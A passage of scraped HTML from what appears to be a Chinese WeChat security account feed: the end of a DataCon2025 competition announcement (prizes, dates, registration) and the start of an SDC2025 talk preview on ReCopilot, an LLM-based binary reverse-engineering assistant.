[&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-role&#34;:&#34;outer&#34;,&#34;label&#34;:&#34;Powered by 135editor.com onekey&#34;,&#34;style&#34;:&#34;flex-direction:column;display:flex;box-sizing:border-box;background-color:rgb(247, 248, 249);padding:0px;font-size:30px;letter-spacing:1px;line-height:1.6;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-width&#34;:&#34;92%&#34;,&#34;style&#34;:&#34;width: 92%;flex: 0 0 92%;margin-left: auto;margin-right: auto;z-index: 5;box-sizing:border-box;max-width:92% !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tools&#34;:&#34;135编辑器&#34;,&#34;data-id&#34;:&#34;161999&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 10px auto;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-autoskip&#34;:&#34;1&#34;,&#34;style&#34;:&#34;font-weight: 400;color: #333333;text-shadow: none;letter-spacing: 1.5px;font-size: 14px;line-height:2em;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-size: 14px;letter-spacing: 1.5px;font-weight: 400;"><span textstyle="" style="font-size: 16px;">✅</span></span><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-size: 14px;letter-spacing: 1.5px;font-weight: 400;"><span textstyle="" style="font-size: 16px;font-weight: bold;">权威认证</span><span textstyle="" style="font-size: 16px;">：赛事由知名高校及头部网安企业联合主办，成为求职升学硬核背书；</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-size: 14px;letter-spacing: 1.5px;font-weight: 400;"><span textstyle="" style="font-size: 16px;">✅ </span><span textstyle="" style="font-size: 16px;font-weight: bold;">绿色通道</span><span textstyle="" style="font-size: 16px;">：奇安信、蚂蚁、腾讯、阿里云等企业提供直通面试机会，优秀者可获实习或校招offer；</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-size: 14px;letter-spacing: 1.5px;font-weight: 400;"><span textstyle="" style="font-size: 16px;">✅</span><span textstyle="" style="font-size: 16px;font-weight: bold;"> 校企资源</span><span textstyle="" style="font-size: 16px;">：与清华、复旦、西交、奇安信、腾讯、蚂蚁等专家深度交流，优质方案可纳入科研项目；</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-size: 14px;letter-spacing: 1.5px;font-weight: 400;"><span textstyle="" style="font-size: 16px;">✅ </span><span textstyle="" style="font-size: 16px;font-weight: bold;">现金奖励</span><span textstyle="" style="font-size: 16px;">：各赛道设一二三等奖，蚂蚁集团、腾讯应急响应中心联合赞助，20万总奖金池诚意十足；</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-role&#34;:&#34;outer&#34;,&#34;label&#34;:&#34;Powered by 135editor.com onekey&#34;,&#34;style&#34;:&#34;flex-direction:column;display:flex;box-sizing:border-box;background-color:rgb(247, 248, 249);padding:0px;font-size:30px;letter-spacing:1px;line-height:1.6;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-width&#34;:&#34;92%&#34;,&#34;style&#34;:&#34;width: 92%;flex: 0 0 92%;margin-left: auto;margin-right: auto;z-index: 5;box-sizing:border-box;max-width:92% !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tools&#34;:&#34;135编辑器&#34;,&#34;data-id&#34;:&#34;161999&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 10px auto;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-autoskip&#34;:&#34;1&#34;,&#34;style&#34;:&#34;font-weight: 400;color: #333333;text-shadow: none;letter-spacing: 1.5px;font-size: 14px;line-height:2em;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-size: 14px;letter-spacing: 1.5px;font-weight: 400;"><span textstyle="" style="font-size: 16px;">✅ </span></span><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;font-weight: bold;">专项培训</span><span textstyle="" style="font-size: 16px;">：本次竞赛为冠军团队提供1名参加DataCon2026年夏令营免费名额。</span></span></p></div></div></div></div></div></div><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 30px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 1px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><div data-width="92%" style="-webkit-tap-highlight-color: transparent;margin: 0px auto;padding: 0px;outline: 0px;max-width: 92%;box-sizing: border-box;overflow-wrap: break-word !important;width: 622.833px;flex: 0 0 92%;z-index: 5;"><div data-role="title" data-tools="135编辑器" data-id="163232" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 10px auto 20px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: flex;justify-content: center;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px 0px -35px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 48px;color: rgb(255, 255, 255);text-shadow: rgb(205, 224, 249) 0em 0.028em 0em, rgb(205, 224, 249) 0.028em 0em 0em, rgb(205, 224, 249) 0.028em 0.028em 0em, rgb(205, 224, 249) -0.028em -0.028em 0em, rgb(205, 224, 249) 0.028em -0.028em 0em, rgb(205, 224, 249) -0.028em 0.028em 0em, rgb(205, 224, 249) 0em -0.028em 0em, rgb(205, 224, 249) -0.028em 0em 0em;text-align: center;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);text-shadow: none;font-size: 48px;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">PART.0</span></strong><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">5</span></strong></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 24px;color: rgb(0, 164, 255);text-align: center;"><strong data-brushtype="text" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">准备赴约，开启征程</span></p></strong></p></div></div></div></div><div data-width="92%" style="-webkit-tap-highlight-color: transparent;margin: 0px auto;padding: 0px;outline: 0px;max-width: 92%;box-sizing: border-box;overflow-wrap: break-word !important;width: 622.833px;flex: 0 0 92%;z-index: 5;"><div data-tools="135编辑器" data-id="161999" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 10px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div data-autoskip="1" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-weight: 400;color: rgb(51, 51, 51);text-shadow: none;letter-spacing: 1.5px;font-size: 14px;line-height: 2em;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;color: rgb(0, 128, 255);font-weight: bold;">报名时间：</span><span textstyle="" style="font-size: 16px;"> 10 月17日-11月4日</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-size: 14px;letter-spacing: 1.5px;font-weight: 400;"><span textstyle="" style="font-size: 16px;color: rgb(0, 128, 255);font-weight: bold;">开赛时间：</span><span textstyle="" style="font-size: 16px;"> 11 月5日-11月12日</span></span></p><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: left;"><p><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-size: 14px;letter-spacing: 1.5px;font-weight: 400;"><span textstyle="" style="font-size: 16px;color: rgb(0, 128, 255);font-weight: bold;">报名链接：</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-size: 14px;letter-spacing: 1.5px;font-weight: 400;"><span textstyle="" style="font-size: 16px;color: rgb(0, 0, 0);font-weight: normal;"><a href="https://www.datacon.org.cn/datacon2025" target="_blank">https://www.datacon.org.cn/datacon2025</a></span></span></p></div><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-size: 14px;letter-spacing: 1.5px;font-weight: 400;"><span textstyle="" style="font-size: 16px;color: rgb(0, 128, 255);font-weight: bold;">报名咨询：</span><span textstyle="" style="font-size: 16px;color: rgb(0, 0, 0);font-weight: normal;">579892505（qq群）</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-role&#34;:&#34;outer&#34;,&#34;label&#34;:&#34;Powered by 135editor.com onekey&#34;,&#34;style&#34;:&#34;flex-direction:column;display:flex;box-sizing:border-box;background-color:rgb(247, 248, 249);padding:0px;font-size:30px;letter-spacing:1px;line-height:1.6;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-width&#34;:&#34;92%&#34;,&#34;style&#34;:&#34;width: 92%;flex: 0 0 92%;margin-left: auto;margin-right: auto;z-index: 5;box-sizing:border-box;max-width:92% !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tools&#34;:&#34;135编辑器&#34;,&#34;data-id&#34;:&#34;161999&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 10px auto;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-autoskip&#34;:&#34;1&#34;,&#34;style&#34;:&#34;font-weight: 400;color: #333333;text-shadow: none;letter-spacing: 1.5px;font-size: 14px;line-height:2em;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">现在，是时候为这场安全之约做好准备了。意向参赛选手可以通过报名链接了解更多的竞赛详情，加入赛事咨询qq群，与其他选手和工作人员进行沟通和交流。在这个过程中，不仅能获取有用的信息，还能结交志同道合的朋友，共同进步。从实验室到实战场，从技术爱好者到行业中坚力量，DataCon始终见证着网安人才的成长。2025年，让我们一起踏上这场安全之旅，用实力定义安全未来。</span></span></p></div></div></div></div></div></div><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 30px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 1px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div data-role="paragraph" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p nodeleaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: center;"><img data-imgfileid="100005752" alt="图片" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="500" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;width: 140px !important;visibility: visible !important;" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=cf3bde48&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FRicNZQMn3FU7k5NebBnMQWaSFpuC5dJDr4zxFCLU3OA9mlndibnINjgq24pMeJV8picb9mFjlyB0zYQAVxvupQvfQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D4"/></p><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: flex;justify-content: center;align-items: center;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px 6px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 16px;color: rgb(24, 157, 251);text-align: center;letter-spacing: 1.5px;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-brushtype="text" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">立即扫码加入赛事咨询群</span></p></strong></strong></p></div><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: center;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="color: rgb(0, 128, 255);font-weight: bold;">转发有礼</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 10px auto;padding: 0px;outline: 0px;max-width: 92%;box-sizing: border-box;overflow-wrap: break-word !important;width: 622.833px;flex: 0 0 92%;z-index: 5;font-weight: 400;color: rgb(51, 51, 51);text-shadow: none;letter-spacing: 1.5px;font-size: 14px;line-height: 2em;"><span data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">关注公众号+分享本篇文章至朋友圈或5个网络安全相关社群（保留分享到开奖日，朋友圈分组可见将取消抽奖资格）</span></span></span></p><p nodeleaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: center;"><img alt="图片" class="rich_pages wxw-img" data-imgfileid="100005759" data-ratio="1.9555555555555555" data-s="300,640" type="block" data-type="jpeg" data-w="1080" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;visibility: visible !important;width: 676.979px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=3e7657e9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FRicNZQMn3FU7k5NebBnMQWaSFpuC5dJDrC0AvsYREBfeBxFRC82ysLeoxnV66icsclj7VMuYdH90csibO9nxibTlUg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D5"/></p></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="2247488866">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=379a8f6a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247488866%26idx%3D1%26sn%3Dab798fe68e19c916b72aa4dbf3997a0e">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 21 Oct 2025 09:41:00 +0800</pubDate>
    </item>
    <item>
      <title>SDC2025 精彩议题预告 | ReCopilot：基于大模型的二进制逆向工程助手</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247488862&amp;idx=1&amp;sn=35966927380ab38a3e19b8bd7b202e29</link>
      <description>ReCopilot 是一个基于大模型的二进制程序分析辅助系统，针对逆向工程中符号信息缺失和人工依赖程度高的核心挑战，提出垂域大模型与程序分析协同优化的智能助手方案。</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2025-10-20 16:56</span> <span style="display: inline-block;">北京</span>
</p>




<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=b279f856&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96kBiaHIuFfrF37K5yseMXcA5sf2xuNUgm95kicjQkVKCcnslyMFCG781HnIqfJ6ticvIuiasib2nrK0Iyw%2F0%3Fwx_fmt%3Djpeg"/></p>

<p>ReCopilot 是一个基于大模型的二进制程序分析辅助系统，针对逆向工程中符号信息缺失和人工依赖程度高的核心挑战，提出垂域大模型与程序分析协同优化的智能助手方案。</p>

<p><span leaf=""><img data-w="901" alt="图片" class="rich_pages wxw-img" data-ratio="1.8213096559378468" src="https://wechat2rss.xlab.app/img-proxy/?k=c642df5c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F1UG7KPNHN8EYdGag4tSCn08nzq1VldWSVVwicZaia8WKXamEVsExePYvGg7h5Uhua3w4zK2tgpH7WJkKl4UNrY0A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%26tp%3Dwxpic%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D0"/></span></p><div style="box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;" data-pm-slice="9 4 []"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 0px 0px 10px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;border-style: solid;border-width: 1px;border-color: rgb(14, 46, 228);box-sizing: border-box;"><div style="text-align: center;transform: translate3d(7px, 0px, 0px);-webkit-transform: translate3d(7px, 0px, 0px);-moz-transform: translate3d(7px, 0px, 0px);-o-transform: translate3d(7px, 0px, 0px);margin: 6px 0px -6px;box-sizing: border-box;"><div style="display: inline-block;width: 27px;height: 27px;vertical-align: top;overflow: hidden;margin: 0px;box-shadow: rgb(255, 255, 255) -3px -3px 0px 0px;background-image: linear-gradient(90deg, rgb(93, 102, 251) 13%, rgb(58, 90, 246) 88%);box-sizing: border-box;"><div style="color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">1</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">1</span></p></div></div></div></div></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;padding: 0px 0px 0px 13px;align-self: center;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">议题简介</span></strong></p></div></div></div><div style="text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">《ReCopilot：基于大模型的二进制逆向工程助手》</span></strong></p></div><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">ReCopilot 是一个基于大模型的二进制程序分析辅助系统，针对逆向工程中符号信息缺失和人工依赖程度高的核心挑战，提出垂域大模型与程序分析协同优化的智能助手方案。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">我们通过预训练（CPT）、有监督微调（SFT）和直接偏好优化（DPO）的多阶段训练策略构建二进制领域的推理大模型。同时，我们创新性地设计静态程序分析模块，将函数调用链、变量数据流等信息汇总以增强上下文，结合深度推理（Test-time Scaling）机制显著提升模型预测精度和泛化能力。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">实验结果表明，ReCopilot 在变量恢复、反编译优化、代码摘要等6项逆向工程核心任务上超越现有方法和通用大模型13%以上。在此基础上，我们也探索了智能体在自动化二进制程序分析任务上的潜力，更多技术细节敬请期待现场会议……</span></p></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: 